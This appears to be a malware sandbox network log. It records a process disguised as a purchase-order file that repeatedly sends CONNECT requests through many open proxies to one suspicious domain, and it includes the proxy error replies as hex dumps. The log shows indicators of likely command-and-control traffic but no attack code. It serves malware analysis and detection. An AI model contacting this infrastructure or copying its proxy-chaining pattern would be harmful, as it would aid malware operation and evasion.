Mar 11, 2024 16:44:32.078957081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1736	192.168.2.11	52616	51.89.173.40	11058	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.775443077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1737	192.168.2.11	52700	60.188.102.225	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.777842045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1738	192.168.2.11	54867	91.189.177.190	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.777911901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876293898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.234316111 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:35 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3703 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1739	192.168.2.11	54507	188.136.164.140	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.781673908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1740	192.168.2.11	54886	92.204.134.38	7785	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.799331903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.602094889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.610378981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.782207012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.785340071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:15.782085896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:51.797641039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1741	192.168.2.11	52817	183.234.215.11	8443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.799331903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.387146950 CET	716	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 15:42:31 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.24.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1742	192.168.2.11	54877	104.248.158.78	61725	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.806726933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876317024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.876581907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1743	192.168.2.11	54936	51.15.211.42	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.812916040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.845122099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.938817024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.938827038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.985382080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.079061985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.110294104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:44.235300064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1744	192.168.2.11	55003	132.148.16.169	11320	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.821228027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1745	192.168.2.11	55005	50.62.134.139	2655	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.821453094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876312971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.876579046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.891958952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.969772100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.971323013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:19.970325947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:44.081320047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1746	192.168.2.11	54927	161.97.173.42	53948	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.822767973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876362085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.876574039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1747	192.168.2.11	53056	194.4.50.132	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.825375080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1748	192.168.2.11	53041	131.186.37.99	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.832696915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1749	192.168.2.11	53150	40.76.160.143	9000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.859632969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1750	192.168.2.11	53036	171.244.140.160	24015	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.864597082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032299042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.106967926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1751	192.168.2.11	53181	134.122.22.233	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.864773989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876363993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.114358902 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1752	192.168.2.11	53155	163.172.129.251	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
